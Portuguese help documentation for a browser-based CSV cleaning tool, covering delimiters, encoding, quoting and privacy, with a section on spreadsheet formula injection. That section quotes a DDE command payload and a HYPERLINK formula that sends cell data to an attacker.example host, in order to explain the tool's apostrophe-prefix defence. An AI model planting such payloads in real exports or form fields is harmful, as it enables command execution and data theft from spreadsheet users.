Delimitadores, cabeçalhos, duplicatas e codificações organizados nas exportações de planilhas.
Um arquivo CSV não é realmente um formato, é uma família de convenções. A especificação que a maioria das ferramentas aponta, RFC 4180, foi escrita em 2005 para descrever o que o software já estava fazendo, em vez de dizer o que fazer. O resultado é que dois programas podem reivindicar suporte CSV e ainda discordar sobre o delimitador, o final da linha, o estilo de citação e a codificação de caracteres.
A surpresa mais comum é o delimitador. Software vendido em países que usam vírgula como separador decimal – a maior parte da Europa continental – exporta frequentemente arquivos separados por ponto e vírgula, porque uma vírgula já está ocupada. Esses arquivos ainda terminam em .csv. Abra um em uma ferramenta que assume vírgulas e cada linha é recolhida em uma única coluna.
A segunda surpresa mais comum é a codificação. Um arquivo salvo como UTF-8 geralmente começa com um marcador invisível de três bytes chamado marca de ordem de bytes. Excel no Windows usa-o para reconhecer UTF-8. Muitas ferramentas Unix não esperam isso, então a marca fica colada no primeiro nome do cabeçalho e uma coluna chamada "id" silenciosamente se torna uma coluna chamada "id" que nenhuma pesquisa jamais corresponderá.
Escolha seu arquivo. A análise ocorre em um thread de trabalho em segundo plano, portanto, mesmo uma exportação grande não congelará a página enquanto ela é lida.
Deixe o delimitador em “Detecção automática” na primeira vez. A detecção funciona analisando uma amostra com cada delimitador candidato e escolhendo aquele que produz o resultado retangular mais consistente – e é por isso que ela não é enganada por vírgulas dentro dos campos citados de um arquivo separado por ponto e vírgula. Se a visualização ainda parecer errada, substitua-a manualmente.
Verifique as contagens de linhas e colunas no seletor de arquivos antes de fazer qualquer outra coisa. Se a contagem de colunas for 1, o delimitador está errado. Se a contagem de linhas for muito maior do que o esperado, o arquivo provavelmente contém novas linhas entre aspas que outra ferramenta já deturpou.
Os avisos nomeiam o número da linha específico, contando da mesma forma que você contaria em um editor de texto, para que você possa analisar o problema diretamente.
Um aviso de "linha irregular" significa que uma linha tinha um número de células diferente do cabeçalho. Esta ferramenta nunca descarta essas células. Linhas curtas são preenchidas com espaços em branco e linhas longas mantêm seus valores extras, porque excluir silenciosamente os dados de alguém para fazer uma grade parecer organizada é a pior coisa que uma ferramenta de limpeza pode fazer. Corrija a linha de origem se a vírgula extra for um erro.
Um aviso de "aspa não fechada" significa que uma aspa dupla foi aberta e nunca fechada, então tudo depois dela foi lido como um campo enorme. Isso quase sempre é uma corrupção genuína no arquivo de origem e vale a pena consertar o upstream em vez do downstream.
Os botões de limpeza aplicam-se a toda a tabela e cada um pode ser desfeito. A remoção de linhas duplicadas mantém a primeira ocorrência, de modo que a linha original sobrevive e a ordem dos dados sobreviventes não muda.
Os controles de coluna permitem renomear cabeçalhos, escolher quais colunas exportar e classificar por qualquer coluna. A classificação detecta se uma coluna é numérica: uma coluna numérica classifica 9 antes de 10, enquanto uma coluna de texto classifica "10" antes de "9", que geralmente é o que você deseja em cada caso.
Antes de baixar, veja as opções de exportação. A opção segura para injeção de fórmula está ativada por padrão e é explicada em seu próprio guia abaixo – é a configuração aqui com uma consequência de segurança genuína.
Um arquivo CSV não contém código, mas um aplicativo de planilha tratará parte de seu texto como código no momento em que o arquivo for aberto.
Excel, Planilhas Google e LibreOffice Calc interpretam uma célula cujo primeiro caractere é =, +, - ou @ como o início de uma fórmula. Esse comportamento é deliberado e útil quando você mesmo digita. Torna-se uma vulnerabilidade quando o conteúdo da célula vem de algum lugar que você não controla.
Imagine um formulário web que coleta um nome e um administrador que exporta periodicamente os envios para CSV e os abre no Excel. Um invasor envia um nome que não é um nome, mas uma fórmula.
Uma carga clássica se parece com =cmd|' /C calc'!A0. Quando a exportação é aberta, o Excel a analisa como uma instrução dinâmica de troca de dados, e não como texto. Configurações mais antigas e sem correção tentariam iniciar um programa externo. As versões modernas mostram primeiro um prompt de aviso – mas o prompt é a única coisa entre a carga útil e a execução, e os usuários clicam nos prompts.
A exfiltração de dados é a variante mais silenciosa e não precisa de DDE. =HYPERLINK("https://attacker.example/?d="&A1,"Click para detalhes") cria um link contendo o conteúdo de uma célula vizinha. Um administrador curioso clica nele e uma linha da planilha sai do prédio em URL. IMPORTXML no Planilhas Google pode buscar um URL remoto sem a necessidade de nenhum clique.
O importante é que o invasor nunca precisou de acesso à planilha, à ferramenta de exportação ou à máquina do administrador. Eles precisavam apenas de um campo de texto que eventualmente alcançasse uma exportação CSV. É por isso que a vulnerabilidade geralmente é registrada no aplicativo que produziu o arquivo, e não na planilha que o abriu.
Quando "Formula-injection-safe" está habilitado - e é habilitado por padrão - cada célula cujo primeiro caractere é =, +, -, @, uma tabulação ou um retorno de carro é prefixado com um único apóstrofo antes de ser escrito.
O apóstrofo é o marcador convencional da planilha que significa "tratar o resto desta célula como texto literal". O Excel não o exibe na célula; você vê isso apenas na barra de fórmulas. A carga útil ainda está visível e totalmente recuperável, mas é inerte.
Tab e retorno de carro estão incluídos nessa lista porque são espaços em branco que alguns filtros ingênuos cortam antes de verificar o primeiro caractere, o que permite que uma carga útil passe por uma verificação que olhou apenas para o índice zero de uma string cortada. Verificar o primeiro caractere bruto fecha essa lacuna.
A mitigação altera seus dados e não existe nenhuma versão que não o faça. Se uma célula realmente continha =SUM(A1:A2) porque você queria uma fórmula funcional na saída, a exportação segura a transforma no texto literal =SUM(A1:A2) e não será calculada. Uma planilha não consegue distinguir a fórmula pretendida da fórmula de um invasor, e nós também não.
É precisamente por isso que esta é uma alternância visível e não um comportamento silencioso. Se você estiver exportando um arquivo que deveria conter fórmulas ativas e confiar em todos os valores nele contidos, desative a opção deliberada e conscientemente. Se os dados contiverem algo originado de um usuário, formulário, cliente, pesquisa ou sistema externo, deixe-o ativado.
Vale a pena conhecer um refinamento. Uma implementação ingênua sinaliza cada célula começando com um sinal de menos, o que deturpa todos os números negativos do arquivo: -42 torna-se '-42 e deixa de ser um número, corrompendo silenciosamente uma coluna inteira de dados financeiros. Esta ferramenta isenta valores que são analisados como números simples, então -42, -3.14 e -1e5 passam intactos enquanto -1+1+cmd|' /C calc'!A0 não, porque não é um número.
Escape ao escrever, não ao ler. O arquivo que você produz deve ser seguro para ser aberto em qualquer lugar, porque você não pode controlar qual aplicativo o abre ou a idade desse aplicativo.
Não confie na caixa de diálogo de aviso da planilha como seu controle. É uma última linha de defesa dirigida a um usuário que está tentando realizar seu trabalho e é rotineiramente dispensada.
Não tente resolver isso eliminando personagens perigosos. A exclusão do = inicial corrompe os dados legítimos e ainda perde cargas úteis que começam com espaços em branco. A prefixação com apóstrofo preserva exatamente o valor original enquanto remove sua executábilidade, por isso é a abordagem recomendada.
Um campo deve ser colocado entre aspas duplas quando contém o delimitador, aspas duplas ou uma quebra de linha. Dentro de um campo entre aspas, uma aspa dupla literal é escrita duas vezes: "ela disse ""oi""" é um campo contendo ela disse "oi".
Esta ferramenta cita minimamente na exportação: os campos são agrupados apenas quando necessário. Isso significa que um arquivo cujos campos foram citados na entrada pode sair com menos aspas. Os dados são idênticos – “Ada” e Ada têm o mesmo valor – mas os bytes são diferentes. Se você precisar de todos os campos citados, use a opção "Citar todos os campos".
Os campos com espaços iniciais ou finais significativos são sempre citados, porque vários analisadores removem o preenchimento sem aspas e, de outra forma, alterariam seus valores.
RFC 4180 especifica CRLF entre registros, e é isso que esta ferramenta grava por padrão, porque é a escolha mais amplamente compatível entre ferramentas Windows e Unix.
Na entrada, todas as três convenções são aceitas: CRLF, LF e CR solitário. Uma nova linha dentro de um campo entre aspas é preservada como parte do valor e não inicia uma nova linha.
Seu arquivo é lido pelo navegador, analisado em um Web Worker no seu dispositivo, transformado na memória e gravado novamente pelo próprio mecanismo de download do navegador. Nunca é transmitido.
Nada é armazenado. Não há salvamento automático, banco de dados local e histórico que sobreviva ao recarregamento da página. Fechar a aba descarta tudo; "Limpar dados" faz o mesmo imediatamente.
A análise e a publicidade estão desativadas neste produto, em todos os ambientes. Nenhum dado de uso sobre o seu arquivo – nem seu nome, tamanho, conteúdo ou nomes de coluna – é coletado, porque nada disso é enviado para lugar nenhum.